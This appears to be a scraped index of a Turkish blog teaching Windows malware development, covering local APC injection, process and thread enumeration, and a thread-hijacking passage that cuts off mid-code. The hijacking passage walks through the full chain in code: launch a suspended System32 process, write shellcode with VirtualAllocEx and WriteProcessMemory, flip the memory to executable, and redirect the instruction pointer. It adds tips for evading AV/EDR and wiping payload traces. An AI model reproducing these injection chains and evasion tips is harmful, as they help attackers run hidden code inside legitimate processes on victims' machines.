kullandığımız birçok teknik var. Bu yazıda, işletim sisteminin doğal işleyişini kendi lehimize kullandığımız, en temel ve etkili yöntemlerden biri olan APC Injection tekniğine odaklanacağız. İşin bellek ayırma gibi her enjeksiyonda tekrarlanan standart kısımlarıyla vakit kaybetmeden doğrudan tekniğe odaklanacağız.\nAPC Nedir ? (Asynchronous Procedure Call) En basit haliyle APC, belirli bir thread bağlamında asenkron olarak çalıştırılmak üzere sıraya alınmış bir fonksiyondur. Windows işletim sisteminde çalışan her thread\u0026rsquo;in kendine ait bir APC kuyruğu bulunur.\nTeknik olarak bu durum, işletim sistemi çekirdeğindeki thread nesnelerinin yapısıyla ilgilidir. Windows, her thread\u0026rsquo;i bellekte _KTHREAD adında bir struct olarak tutar. Bu struct\u0026rsquo;ın içerisinde, o thread\u0026rsquo;in sırayla işleyeceği görevleri gösteren gizli bir liste işaretçisi yer alır. Yani APC, doğrudan bu yapının yönettiği sistem mekanizmasının bir parçasıdır.\nBunu, o thread\u0026rsquo;in \u0026ldquo;yapılacaklar listesi\u0026rdquo; olarak düşünebiliriz. Normal şartlarda, sistem veya diğer programlar hedef thread\u0026rsquo;e \u0026lsquo;Eğer boş vaktin olursa şu fonksiyonu da aradan çıkar\u0026rsquo; diyerek bu listeye dışarıdan görev ekleyebilir. Bizim amacımız ise bu listeye zararlı kodumuzu gizlice eklemektir.\nQueue Nedir ? Yukarıda bahsettiğimiz \u0026ldquo;yapılacaklar listesi\u0026rdquo; aslında tamamen algoritmik bir veri yapısı olan Kuyruk (Queue) mantığıyla çalışır. Bilgisayar bilimindeki en temel yapılardan biri olan kuyruklar, FIFO (First In, First Out) yani \u0026ldquo;İlk Gelen İlk Çıkar\u0026rdquo; kuralına göre işler. Tıpkı bir banka veya ekmek kuyruğunda bekleyen insanlar gibi, thread\u0026rsquo;in listesine ilk eklenen görev, thread tarafından ilk olarak işleme alınır. İşletim sistemi görevlerin sırasını bu algoritmik yapı sayesinde hiç karıştırmadan yönetir.\nAlertable State Nedir ? Burada kritik bir problemimiz var: Bir thread\u0026rsquo;in APC kuyruğuna görev eklemek, o görevin hemen çalışacağı anlamına gelmez. Thread, kendi ana işini bırakıp sizin eklediğiniz fonksiyona bakmaz.\nZararlı kodumuzun çalışması için, hedeflediğimiz thread\u0026rsquo;in \u0026ldquo;Alertable State\u0026rdquo; dediğimiz uyarılabilir bir bekleme durumuna geçmesi gerekir. Thread bu duruma geçtiğinde işletim sistemine şu mesajı verir: \u0026ldquo;Ben şu an beklemeye geçiyorum. Eğer kuyruğumda bekleyen bir APC görevi varsa,onu çalıştırabilirim.\u0026rdquo; İşte biz de tam olarak bu boşluktan faydalanacağız.\nLocal APC Injection Local APC Injection yaparken hedeflerimiz oldukça nettir. Başka bir process\u0026rsquo;in içine girmeye çalışmıyoruz; kendi oluşturduğumuz sürecin içindeki bir thread\u0026rsquo;i kullanacağız. Akışımız temel olarak şu şekilde ilerler:\nKendi sürecimiz içinde bir thread oluştururuz.\nZararlı kodumuzun adresini, bu thread\u0026rsquo;in APC kuyruğuna ekleriz.\nThread\u0026rsquo;i kasıtlı olarak \u0026ldquo;Alertable State\u0026rdquo; durumuna sokarız.\nThread beklemeye geçtiği an, kuyruktaki görevimizi fark eder ve shellcode\u0026rsquo;umuzu çalıştırır.\nQueueUserAPC Fonksiyonu Zararlı kodumuzu thread\u0026rsquo;in yapılacaklar listesine eklemek için QueueUserAPC fonksiyonunu kullanıyoruz. Bu WinAPI\u0026rsquo;nin yapısı şu şekildedir:\nDWORD QueueUserAPC( [in] PAPCFUNC pfnAPC, [in] HANDLE hThread, [in] ULONG_PTR dwData ); Bu üç parametreyi kısaca inceleyelim:\npfnAPC: Çalıştırılacak olan fonksiyonun adresidir. Biz buraya, bellekte çalıştırılabilir olarak ayarladığımız shellcode\u0026rsquo;umuzun adresini vereceğiz.\nhThread: Hedef aldığımız thread\u0026rsquo;in handle değeridir. Bu görevi (payloadu) hangi thread\u0026rsquo;in kuyruğuna ekleyip çalıştıracağımızı buradan belirtiriz.\ndwData: Fonksiyonumuz ekstra bir parametreye ihtiyaç duyuyorsa buradan göndeririz. APC injection işlemlerinde shellcode çalıştırdığımız için genellikle bu değeri NULL olarak bırakırız.\nÖrnek kullanımımız mesela şu şekildedir:\n// Zararlı kod adresini hedef thread\u0026#39;in kuyruğuna ekliyoruz. QueueUserAPC((PAPCFUNC)ShellcodeAddress, hThread, NULL); Görevimizi kuyruğa ekledik, peki thread\u0026rsquo;i nasıl Alertable State\u0026rsquo;e sokacağız? Windows, bu iş için kullanabileceğimiz çeşitli bekleme fonksiyonları sunar. Bunların ortak özelliği, doğru parametreler verildiğinde thread\u0026rsquo;i uyarılabilir duruma sokmalarıdır.\nÇoğu bekleme fonksiyonu, neyi beklediğini bilmek için bir obje handle\u0026rsquo;ına ihtiyaç duyar. Gerçek bir senaryoda bu obje başka bir thread tarafından tetiklenir ve bekleme biter. Ancak bizim tek amacımız thread\u0026rsquo;i sonsuza kadar beklemeye alıp aradan APC\u0026rsquo;mizi çıkartmak olduğu için, asla tetiklenmeyecek \u0026ldquo;sahte\u0026rdquo; bir event objesi yaratır ve onu bekletiriz.\nSahte objemizi şu şekilde tek satırda oluşturabiliriz:\nHANDLE hDummyEvent = CreateEvent(NULL, FALSE, FALSE, NULL); Şimdi bu thread\u0026rsquo;i Alertable State\u0026rsquo;e sokan birkaç fonksiyonun nasıl kullandığımızı inceleyelim:\nSleepEx SleepEx, bir thread\u0026rsquo;i belirli bir süre boyunca askıya alan fonksiyondur. Ekstra bir objeye ihtiyaç duymaz, bu yüzden kullanımı en kolay olanıdır. İkinci parametresi bAlertable\u0026lsquo;dır ve TRUE yapıldığında thread uyarılabilir duruma geçer.\n// Thread\u0026#39;i sonsuza dek uyutur ve Alertable duruma sokar. SleepEx(INFINITE, TRUE); Thread sonsuz (INFINITE) uykuya dalar, ancak Alertable olduğu için bizim APC\u0026rsquo;miz geldiğinde hemen kodumuzu çalıştırır.\nWaitForSingleObjectEx Sadece belirli bir objenin (bizim durumumuzda asla tetiklenmeyecek sahte event\u0026rsquo;in) durumunu bekleyen fonksiyondur. Üçüncü parametresi Alertable durumunu belirler.\n// Sahte event objesinin tetiklenmesini sonsuza kadar uyarılabilir şekilde bekle. WaitForSingleObjectEx(hDummyEvent, INFINITE, TRUE); Event hiçbir zaman sinyal almayacağı için bekleme asla normal yollarla bitmez, ancak APC kuyruğu devreye girdiğinde kodumuz aradan fırlar.\nWaitForMultipleObjectsEx Bir önceki fonksiyonun array versiyonudur. Tek bir obje yerine, birden fazla objeyi aynı anda beklemek için kullanılır. Biz yine kendi sahte objemizi bir dizi içine koyarak bu fonksiyonu istismar edebiliriz.\n// Obje dizisini bekle, son parametre TRUE ile Alertable moda geç. HANDLE eventArray[] = { hDummyEvent }; WaitForMultipleObjectsEx(1, eventArray, FALSE, INFINITE, TRUE); MsgWaitForMultipleObjectsEx Bu fonksiyon, normal obje bekleme işlemine ek olarak thread\u0026rsquo;in mesaj kuyruğundaki input event\u0026rsquo;leri bekleyebilir. Genellikle GUI thread\u0026rsquo;lerinde kullanılır ama biz yine kendi manipülasyonumuz için kullanacağız. Alertable yapmak için MWMO_ALERTABLE bayrağını kullanırız.\n// Hem sahte objeyi bekle hem de uyarılabilir duruma geç. MsgWaitForMultipleObjectsEx(1, \u0026amp;hDummyEvent, INFINITE, QS_ALLINPUT, MWMO_ALERTABLE); SignalObjectAndWait Bu API, önce bir objeyi tetikler, hemen ardından başka bir objeyi beklemeye başlar. Parametrelerin sonunda yine bAlertable bayrağı bulunur. Biz bunu kullanırken yine kendi yarattığımız sahte objeleri hedef gösterebiliriz.\n// İlk event\u0026#39;i sinyalle, ikinci (sahte) event\u0026#39;i uyarılabilir şekilde bekle. SignalObjectAndWait(hSignalEvent, hDummyEvent, INFINITE, TRUE); İşte hepsi bu kadar. Özetle, önce QueueUserAPC ile zararlı kodumuzu thread\u0026rsquo;in cebine koyuyoruz, ardından yukarıdaki fonksiyonlardan birini kullanarak thread\u0026rsquo;i o kodlara bakmaya zorluyoruz. Gördüğünüz gibi, Local APC Injection aslında bir thread\u0026rsquo;in zamanlama mekanizmalarını kendi lehimize kullanmaktan ibaret şık bir tekniktir.\nNOT: Bu teknikle ilgili PoC kodunun tamamına erişmek isterseniz, GitHub hesabımdaki malware-development-library adlı repoya göz atabilirsiniz.\n","permalink":"https://0xgently.github.io/posts/apc_%C4%B1nj/","summary":"\u003ch1 id=\"apc-injection\"\u003eApc Injection\u003c/h1\u003e\n\u003cp\u003eGünümüzde birtakım zararlılar yazma konusunda  payload\u0026rsquo;umuzu çalıştırmak için kullandığımız birçok teknik var. Bu yazıda, işletim sisteminin doğal işleyişini kendi lehimize kullandığımız, en temel ve etkili yöntemlerden biri olan \u003cstrong\u003eAPC Injection\u003c/strong\u003e tekniğine odaklanacağız. İşin bellek ayırma  gibi her enjeksiyonda tekrarlanan standart kısımlarıyla vakit kaybetmeden doğrudan tekniğe odaklanacağız.\u003c/p\u003e\n\u003ch2 id=\"apc-nedir--asynchronous-procedure-call\"\u003eAPC Nedir ? (Asynchronous Procedure Call)\u003c/h2\u003e\n\u003cp\u003eEn basit haliyle APC, belirli bir thread bağlamında asenkron olarak çalıştırılmak üzere sıraya alınmış bir fonksiyondur. Windows işletim sisteminde çalışan her thread\u0026rsquo;in kendine ait bir APC kuyruğu bulunur.\u003c/p\u003e","title":"Local APC Injection"},{"content":"Bu yazımızda CreateToolhelp32Snapshot fonksiyonunu kullanarak nasıl process\u0026rsquo;ler veya thread\u0026rsquo;ler hakkında bilgi toplarız onu anlatacağım.\nGeliştirdiğimiz araçlarda veya yazdığımız zararlılarda hedef aldığımız bir process\u0026rsquo;e müdahale etmek istiyorsak, öncelikle sistemde o process\u0026lsquo;in nerede durduğunu tam olarak tespit etmemiz gerekiyor. Operasyonumuzu iki temel aşamaya böleceğiz. İlk olarak, elimizdeki düz bir metinden (örneğin notepad.exe gibi bir process isminden) yola çıkarak sistemdeki tüm process\u0026rsquo;leri tarayacak ve hedefimizin benzersiz kimlik numarasını, yani PID\u0026lsquo;sini çekeceğiz. İkinci aşamada ise elde ettiğimiz bu PID üzerinden hedef process\u0026lsquo;in içerisine girip, üzerinde manipülasyon yapabileceğimiz ya da ele geçirebileceğimiz geçerli bir thread yakalayacağız.\nKısacası bu bölümde; sistemdeki process\u0026rsquo;leri ve thread\u0026rsquo;leri en temel API\u0026rsquo;lerle nasıl enumerate edeceğimizi, bunları yaparken de işletim sisteminden ihtiyacımız olan handle\u0026rsquo;ları nasıl alacağımızı kodlar üzerinden pratik bir şekilde göreceğiz.\nNOT: Konuda bahsedilen fonksiyonların tamamına ulaşmak isterseniz malware-development-library adresinden bulabilirsiniz.\nAdım 1: Process Enumeration via function İlk olarak sistemde çalışan process\u0026rsquo;ler arasından aradığımız hedefin PID\u0026rsquo;sini ve Handle\u0026rsquo;ını nasıl alacağımıza bakacağız. Kodu adım adım inceleyip işin arka planında neler döndüğünü anlayalım.\nİlk hamlemiz, sistemdeki tüm process\u0026rsquo;lerin o anki listesini elde etmek:\nHANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Burada CreateToolhelp32Snapshot API\u0026rsquo;sini kullanarak sistemin anlık bir görüntüsünü alıyoruz. Eğer güvenlik veya başka bir sebeple bu listeyi alamazsak, fonksiyon zaten en baştan FALSE dönüp işlemi iptal ediyor.\nDaha sonra, bu liste içerisinde gezinirken verileri tutacağımız struct\u0026rsquo;ı ayağa kaldırıyoruz:\nPROCESSENTRY32W stEntry = { 0 }; stEntry.dwSize = sizeof(PROCESSENTRY32W); Burada PROCESSENTRY32W yapısını oluşturduk ve içini sıfırladık. Alt satırdaki dwSize ataması ise kritik bir detaydır. Windows API\u0026rsquo;leri ile çalışırken ilgili struct\u0026rsquo;ın bellekteki boyutunu API\u0026rsquo;ye bildirmemiz gerekir, aksi takdirde fonksiyonlar genellikle hata verir.\nSıra geldi döngüye girip listedeki isimleri bizim aradığımız hedefle karşılaştırmaya:\nif (lstrcmpiW(stEntry.szExeFile, wszTargetName) == 0) { *pdwPid = stEntry.th32ProcessID; Döngü her döndüğünde, o anki process\u0026rsquo;in adını (szExeFile) bizim verdiğimiz isimle (wszTargetName) kıyaslıyoruz. Eğer eşleşme bulursak, hedefin ID\u0026rsquo;sini (th32ProcessID) fonksiyonu çağırdığımız yere iletmek üzere pointer\u0026rsquo;a yazıyoruz.\n*phTarget = OpenProcess(PROCESS_ALL_ACCESS, FALSE, stEntry.th32ProcessID); if (*phTarget == NULL) { break; } Hedefi bulduktan sonra OpenProcess API\u0026rsquo;sini kullanarak süreç üzerinde tam yetki (PROCESS_ALL_ACCESS) talep ediyoruz. Eğer hedef süreç başarıyla açılırsa, ihtiyacımız olan handle\u0026rsquo;lı almış oluruz.\nBurada kritik bir kontrolümüz var: Eğer yetki eksikliği veya sistem korumaları nedeniyle süreç açılamazsa (NULL dönerse), break ifadesiyle döngüyü sonlandırıyoruz. Normalde bir sistemde aynı isimde ama farklı PID\u0026lsquo;lerde birden fazla süreç (mesela Chrome sekmeleri) bulunabilir. Gelişmiş senaryolarda ilk süreç başarısız olduğunda continue ile diğer aynı isimli süreçleri denemek daha doğru bir yaklaşımdır. Ancak bu eğitim yazısında konuyu basitleştirmek ve akışı sade tutmak adına, ismi eşleşen ilk süreçte başarısız olursak aramayı kesmeyi (break) tercih ediyoruz.\nNot: Gerçek senaryolarda PROCESS_ALL_ACCESS gibi tam yetki istemek yerine, sadece yapacağınız işleme özel izinleri (örneğin sadece okuma/yazma izinlerini) talep etmek hem güvenlik duvarlarına takılmamak hem de gizlilik açısından her zaman daha doğru bir yaklaşımdır.\nSon olarak, işimizi bitirdiğimizde açık kalan değerleri temizlememiz gerekiyor:\nCloseHandle(hSnapshot); Memory leak yaşamamak adına, en başta aldığımız snapshot handle\u0026rsquo;ını kapatarak işletim sistemine kaynağı iade ediyoruz ve işlemi tamamlıyoruz.\nAdım 2: Thread Enumeration via function Hedef process\u0026rsquo;i başarıyla bulduğumuza göre, şimdi sıra o process\u0026rsquo;in içinde çalışan bir thread\u0026rsquo;i yakalamakta.\nÖncelikle, ufak bir güvenlik önlemiyle yola çıkıyoruz:\nif (pdwTid) *pdwTid = 0; if (phThread) *phThread = NULL; Bize dışarıdan parametre olarak gelen pointer\u0026rsquo;ların içini temizliyoruz. Eğer bu değişkenlerin içinde daha önceden kalma çöp değerler varsa, ileride başımızı ağrıtmasın diye baştan sıfırlamak her zaman iyi bir pratiktir.\nArdından, ilk fonksiyonda yaptığımıza benzer bir şekilde sistemin anlık görüntüsünü alıyoruz:\nhSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); stEntry.dwSize = sizeof(THREADENTRY32); Bu sefer TH32CS_SNAPPROCESS yerine TH32CS_SNAPTHREAD flag\u0026rsquo;ini kullanıyoruz. Çünkü amacımız process\u0026rsquo;leri değil, sistemde o an aktif olan tüm thread\u0026rsquo;leri listelemek. API\u0026rsquo;nin sorunsuz çalışması için THREADENTRY32 struct boyutunu girmeyi yine unutmuyoruz.\nSistemdeki tüm thread\u0026rsquo;ler elimizde. Şimdi bizim process\u0026rsquo;e ait olanı almamız lazım:\nif (stEntry.th32OwnerProcessID == dwProcessId) { *pdwTid = stEntry.th32ThreadID; Buradaki mantık basit: Döngüyle tüm thread\u0026rsquo;leri geziyoruz ve \u0026ldquo;Bu thread\u0026rsquo;in sahibi olan process ID (th32OwnerProcessID), bizim aradığımız dwProcessId ile aynı mı?\u0026rdquo; diye soruyoruz. Eşleşme sağlandığında, thread\u0026rsquo;in kendi ID\u0026rsquo;sini (th32ThreadID) dışarı aktarmak üzere pointer\u0026rsquo;a yazıyoruz.\nSıra geldi bu thread\u0026rsquo;i açıp kontrolü elimize almaya:\n*phThread = OpenThread( THREAD_ALL_ACCESS, FALSE, stEntry.th32ThreadID); Yine burada yukarıda kullandığımız fonksiyonun neredeyse aynısını kullanıyoruz. PROCESS_ALL_ACCESS gibi tam yetki istemek yerine, sadece yapacağınız işleme özel izinleri talep etmek yine çok daha iyidir. Biz şuanlık bu şekilde bırakıyoruz.\nVe son olarak, az önce çözdüğümüz o kritik hata kontrolü noktası:\nif (*phThread == NULL) { CloseHandle(hSnapshot); return FALSE; } Eğer OpenThread başarısız olursa (yetki eksikliği vs.), sessizce çıkıp gitmiyoruz. Sistemde asılı kalacak bir handle bırakmamak için (leak\u0026rsquo;lere sebep olmaması için) CloseHandle(hSnapshot) diyerek dükkanı temiz bir şekilde kapatıyor ve başarısız olduğumuzu (FALSE) bildiriyoruz. (Dikkat edin, ilk thread\u0026rsquo;de yetki alamazsak direkt FALSE dönüyoruz. Eğer process\u0026rsquo;in diğer thread\u0026rsquo;lerini denemek isterseniz, önceki fonksiyonda dediğimiz gibi burada da return FALSE yerine continue mantığı kurabilirsiniz.)\nToparlamak gerekirse; bu iki temel fonksiyonla sistemin arka planına inip hedef process ve thread\u0026rsquo;leri nasıl güvenli bir şekilde alacağınızı adım adım inceledik. İşletim sistemi seviyesinde çalışırken sadece ihtiyacımız olan yetkileri istemek ve işimiz bitince açık kalan handle\u0026rsquo;ları temizlemek, güvenli kodlamanın esaslarındandır.\n","permalink":"https://0xgently.github.io/posts/createtoolhelp32snapshot/","summary":"\u003cp\u003eBu yazımızda \u003cstrong\u003e\u003ccode\u003eCreateToolhelp32Snapshot\u003c/code\u003e\u003c/strong\u003e fonksiyonunu kullanarak nasıl process\u0026rsquo;ler veya\nthread\u0026rsquo;ler hakkında bilgi toplarız onu anlatacağım.\u003c/p\u003e\n\u003cp\u003eGeliştirdiğimiz araçlarda veya yazdığımız zararlılarda hedef aldığımız bir \u003cstrong\u003eprocess\u003c/strong\u003e\u0026rsquo;e müdahale etmek istiyorsak, öncelikle sistemde o \u003cstrong\u003eprocess\u003c/strong\u003e\u0026lsquo;in nerede durduğunu tam olarak tespit etmemiz gerekiyor.\nOperasyonumuzu iki temel aşamaya böleceğiz.\nİlk olarak, elimizdeki düz bir metinden (örneğin \u003ccode\u003enotepad.exe\u003c/code\u003e gibi bir \u003cstrong\u003eprocess\u003c/strong\u003e isminden) yola çıkarak sistemdeki tüm \u003cstrong\u003eprocess\u003c/strong\u003e\u0026rsquo;leri tarayacak ve hedefimizin benzersiz kimlik numarasını, yani \u003cstrong\u003ePID\u003c/strong\u003e\u0026lsquo;sini çekeceğiz. İkinci aşamada ise elde ettiğimiz bu \u003cstrong\u003ePID\u003c/strong\u003e üzerinden hedef \u003cstrong\u003eprocess\u003c/strong\u003e\u0026lsquo;in içerisine girip, üzerinde manipülasyon yapabileceğimiz ya da ele geçirebileceğimiz geçerli bir \u003cstrong\u003ethread\u003c/strong\u003e yakalayacağız.\u003c/p\u003e","title":" Process Enumeration-1"},{"content":"Remote_Thread_Creation Bu yazımızda; meşru bir procesesi askıya alıp, bellek alanına shellcode enjekte ettikten sonra mevcut thread\u0026rsquo;in RIP/EIP registerlarını manipüle ederek çalışan bir teknikten bahsedeceğim.\nSiber güvenlik dünyasında, hedef bir proses içerisinde kod çalıştırmak için genellikle CreateRemoteThread gibi API\u0026rsquo;ler tercih edilir. Ancak bu fonksiyonlar güvenlik mekanizmaları (AV/EDR) tarafından çok sıkı izlenir ve anında engellenir. Thread Hijacking ise sıfırdan yeni ve şüpheli bir thread oluşturmak yerine, halihazırda var olan meşru bir thread\u0026rsquo;in rotasını \u0026ldquo;çalmayı\u0026rdquo; hedefler.\nGeliştireceğimiz senaryoda ilk olarak CREATE_SUSPENDED bayrağı ile kurban bir Windows procesi (örneğin System32 altındaki bir araç) başlatacağız. Ardından, hedef procesin bellek alanında yer ayırıp zararlı shellcode\u0026rsquo;umuzu bu bölgeye enjekte edeceğiz.\nSonraki aşamada ise GetThreadContext ve SetThreadContext API\u0026rsquo;lerini kullanarak işlemcinin bir sonraki çalıştıracağı komut adresini tutan RIP veya EIP register\u0026rsquo;ının adresini hedef process üzerinde yer ayırıp yazdığımız zararlının olduğu adres ile değiştireceğiz\nSon olarak ResumeThread ile thread\u0026rsquo;i uyandırdığımızda, işletim sistemi hiçbir şeyden şüphelenmeden bizim kodumuzu devam ettirecektir. Konuyu part 1-2-3 olarak ele alacağım. Kodun tamamından ziyade part 1-2-3 içerisinde kullandığım fonksiyonları zincir sırasınca anlatacağım.\nPart 1 Kodumuzun ilk kısmında, hedef process\u0026rsquo;i duraklatılmış (suspended) bir şekilde başlatacak olan ana fonksiyonumuzu tanımlıyoruz:\nBOOL StartSuspendedProcess(const char* exeName, DWORD* outPid, HANDLE* outProcess, HANDLE* outThread) Bu fonksiyon bizden hedeflediğimiz uygulamanın adını (exeName, örneğin \u0026ldquo;notepad.exe\u0026rdquo;) istiyor. İşlemini başarıyla tamamladığında ise, oluşturduğu yeni process\u0026rsquo;in PID değerini, process handle\u0026rsquo;ını ve main thread handle\u0026rsquo;ını verdiğimiz pointer\u0026rsquo;lar üzerinden bize geri verecek.\nŞimdi fonksiyonun içerisine girip adım adım neler olduğuna bakalım:\nif (!GetSystemDirectoryA(path, MAX_PATH)) { printf(\u0026#34;Oops! GetSystemDirectoryA failed. ^_^: %lu\\n\u0026#34;, GetLastError()); return FALSE; } Burada kullandığımız API\u0026rsquo;nin adı GetSystemDirectoryA. Amacı, Windows\u0026rsquo;un System32 dizininin (genellikle C:\\Windows\\System32) bulunduğu konumu bulup path buffer\u0026rsquo;ına yazmaktır. Yolu doğrudan kodun içine hardcoded (elle) yazmak yerine bu API\u0026rsquo;yi kullanmak çok daha sağlıklıdır; çünkü Windows her zaman C sürücüsünde kurulu olmayabilir. Eğer bir şeyler ters giderse, GetLastError() ile Windows\u0026rsquo;un bize döndürdüğü hata numarasını alıp ekrana basıyoruz ve fonksiyonu sonlandırıyoruz.\n// C:\\Windows\\System32\\\u0026lt;exeName\u0026gt; if (!PathAppendA(path, exeName)) { printf(\u0026#34;Oops! PathAppendA failed. ^_^:\\n\u0026#34;); return FALSE; } Sırada PathAppendA fonksiyonu var. Bu fonksiyonun görevi oldukça basittir: Az önce elde ettiğimiz System32 dizini ile parametre olarak aldığımız dosya adını güvenli bir şekilde birleştirmek. İşlem bittiğinde elimizde temiz bir tam yol (örneğin C:\\Windows\\System32\\notepad.exe) oluyor.\nSürecin asıl başlatıldığı nokta ise burası:\nif (!CreateProcessA(NULL, path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, \u0026amp;si, \u0026amp;pi)) { printf(\u0026#34;Oops! CreateProcessA failed. ^_^: %lu\\n\u0026#34;, GetLastError()); return FALSE; } Burada CreateProcessA API\u0026rsquo;sini kullanarak hedef programı başlatıyoruz. Aldığı birçok parametre var ancak bizim için en kritik olanı CREATE_SUSPENDED bayrağıdır (flag).\nBu parametreyi verme amacımız şudur: Process oluşturulur, gerekli bellek alanları ayrılır ancak main thread kodları çalıştırmaya başlamadan (entry point\u0026rsquo;e girmeden) anında duraklatılır (suspend). Bu bize büyük bir avantaj sağlar; process meşru bir şekilde ayağa kalkmıştır ama henüz çalışmaya başlamadığı için içine kendi zararlı kodumuzu enjekte edebileceğimiz geniş bir zaman penceremiz olur. Fonksiyon başarılı olduğunda, ihtiyacımız olan PID ve handle bilgileri pi (PROCESS_INFORMATION) yapısına yazılır ve kullanıma hazır hale gelir.\nBuraya kadar tekniğin ilk aşamasını bitirdik. Zincirleme ise basitti:\nKullanıcıdan gerekli bilgileri al Sistemdeki System32 dizininin gerçek yolunu bul Bunu kullanıcının vermiş olduğu program adı ile birleştir En son gerekli bilgileri kullanarak CREATE_SUSPENDED bayrağı ile o programı başlat. Part 2 Hedef process\u0026rsquo;i duraklatılmış (suspended) bir şekilde başarıyla başlattığımıza göre, sıra geldi kendi zararlımızı bu uygulamanın belleğine gizlice yazmaya.\nBu işlem için yazdığımız özel fonksiyonun başlangıcına bir bakalım:\nBOOL WriteCodeToRemoteProcess(HANDLE hTarget, unsigned char* code, size_t codeSize, void** outRemoteAddr) Bu adımda kullanacağımız ana fonksiyonumuzun adı WriteCodeToRemoteProcess. Fonksiyon bizden; hedef process\u0026rsquo;in handle\u0026rsquo;ını (hTarget), enjekte edeceğimiz zararlı kodun bellekteki konumunu (code) ve bu kodun boyutunu (codeSize) istiyor. İşlem bittiğinde ise, kodun karşı process\u0026rsquo;in belleğinde tam olarak hangi adrese yazıldığını outRemoteAddr pointer\u0026rsquo;ı üzerinden bize geri verecek. Amacımız, kodu sorunsuz ve güvenli bir şekilde hedef hafızaya yerleştirmek.\nÖncelikle hedef process içerisinden bir yer ayırıyoruz.\nremoteBase = VirtualAllocEx(hTarget, NULL, codeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); Burada kullandığımız API\u0026rsquo;nin adı VirtualAllocEx. Görevi, başka bir process (hTarget) içerisinde istediğimiz boyutta (codeSize) bir bellek alanı tahsis etmektir.\nİkinci parametreyi NULL olarak veriyoruz, çünkü belleğin neresinden yer tahsis edileceğini işletim sisteminin kendisine bırakıyoruz. MEM_COMMIT | MEM_RESERVE parametreleri, bellekteki o alanı hem rezerve ettiğimizi hem de fiziksel olarak kullanıma açtığımızı belirtir. PAGE_READWRITE ise buranın sadece okunabilir ve yazılabilir olduğunu söylüyor. Dikkat ederseniz şimdilik \u0026ldquo;çalıştırma\u0026rdquo; (execute) yetkisi vermedik, çünkü kodu henüz belleğe yazmadık. Bu, EDR\u0026rsquo;ların dikkatini çekmemek için iyi bir pratiktir.\nYerimizi ayırdık, şimdi kodumuzu o alana kopyalama vakti:\nif (!WriteProcessMemory(hTarget, remoteBase, code, codeSize, \u0026amp;bytesWritten) || bytesWritten != codeSize) { printf(\u0026#34;Oops! WriteProcessMemory failed. ^_^: %lu\\n\u0026#34;, GetLastError()); return FALSE; } WriteProcessMemory API\u0026rsquo;si, kendi belleğimizdeki kodu (code), hedef process\u0026rsquo;te az önce ayırdığımız o boş adrese (remoteBase) yazar. Fonksiyon başarılı olursa, karşıya kaç byte veri yazdığını bytesWritten değişkenine kaydeder.\nBuradaki if bloğunda sadece fonksiyonun hata verip vermediğini kontrol etmiyoruz; aynı zamanda karşıya yazılan byte sayısının, bizim kodumuzun orijinal boyutuyla birebir eşleşip eşleşmediğine (bytesWritten != codeSize) bakıyoruz. Eğer eksik yazıldıysa veya fonksiyon patlarsa, hatayı ekrana basıp işlemi iptal ediyoruz.\nKodu karşı process\u0026rsquo;e başarıyla yazdık. Artık kendi tarafımızdaki koda ihtiyacımız yok:\nSecureZeroMemory(code, codeSize); Bu tek satırlık fonksiyon operasyonel güvenlik (OPSEC) açısından inanılmaz kritiktir. Kodu hedef process\u0026rsquo;e aktardıktan sonra, kendi process\u0026rsquo;imizin belleğinde kalan orijinal kopyayı sıfırlarla doldurarak yok ediyoruz. Böylece, sonradan belleğimizi tarayan bir antivirüs veya analist, bizim tarafımızda şüpheli bir payload kalıntısı bulamaz.\nŞimdi ise hedef process içerisinde ayırdığımız alanın yetkilerini değiştiriyoruz\nif (!VirtualProtectEx(hTarget, remoteBase, codeSize, PAGE_EXECUTE_READWRITE, \u0026amp;oldProtect)) { printf(\u0026#34;Oops! VirtualProtectEx failed. ^_^: %lu\\n\u0026#34;, GetLastError()); return FALSE; } Hatırlarsanız, VirtualAllocEx ile hafızada yer ayırırken o alana sadece okuma ve yazma (PAGE_READWRITE) izni vermiştik. Windows\u0026rsquo;un güvenlik mekanizmaları (DEP - Data Execution Prevention), üzerinde çalıştırma yetkisi olmayan bellek alanlarındaki kodların çalışmasını engeller.\nBu yüzden VirtualProtectEx API\u0026rsquo;sini kullanarak hedef process\u0026rsquo;e tekrar müdahale ediyoruz ve kodumuzu yazdığımız o bellek alanının izinlerini PAGE_EXECUTE_READWRITE (Okuma, Yazma ve Çalıştırma) olarak güncelliyoruz. İzinler sorunsuz değişmezse hata verip çıkıyoruz. Bu adımı da geçtikten sonra, kodumuz hedef process içinde çalıştırılmaya tamamen hazır hale geliyor.\nBuraya kadar ise yaptıklarımız şunlardı:\nKendi ana fonksiyonumuz ile kullanıcıdan gerekli bilgileri al. VirtualAllocEx ile hedef process içerisinde yer ayır. WriteProcessMemory ile zararlıyı yaz. SecureZeroMemory ile önceden yazmış olduğumuz zararlıyı temizle. VirtualProtectEx ile hedef processteki o alanın izinlerini değiştir. Part 3 Şimdi sıra geldi hedef processteki mevcut Threadın RIP registerında gösterdiği adresi kendi zararlımızın bellekteki adresine çevirmeye. İşte RedirectThreadExecution fonksiyonu tam olarak bu işi; yani thread\u0026rsquo;in mevcut akışını bozup ona \u0026ldquo;kendi işini bırak, git benim gösterdiğim adresteki kodu çalıştır\u0026rdquo; demeyi sağlıyor.\nAdım adım kodun içine girelim:\nBOOL RedirectThreadExecution(HANDLE hTargetThread, void* remoteCodeAddr) { CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL }; Fonksiyona dışarıdan hedef thread\u0026rsquo;in handle\u0026rsquo;ını (hTargetThread) ve çalışmasını istediğimiz kodun bellek adresini (remoteCodeAddr) veriyoruz.\nBurada ilk olarak CONTEXT adında bir yapı (struct) tanımlıyoruz. Windows\u0026rsquo;ta bir thread duraklatıldığında, o anki CPU register\u0026rsquo;larının durumu bu yapıda tutulur. .ContextFlags = CONTEXT_CONTROL diyerek işletim sistemine şunu söylüyoruz: \u0026ldquo;Ben bu thread\u0026rsquo;in tüm register\u0026rsquo;larıyla ilgilenmiyorum, bana sadece kontrol register\u0026rsquo;larını (Instruction Pointer vb.) ver.\u0026rdquo; Bu, hem performansı artırır hem de gereksiz verilerle uğraşmamızı engeller.\nif (!GetThreadContext(hTargetThread, \u0026amp;ctx)) { printf(\u0026#34;Oops! GetThreadContext failed. ^_^: 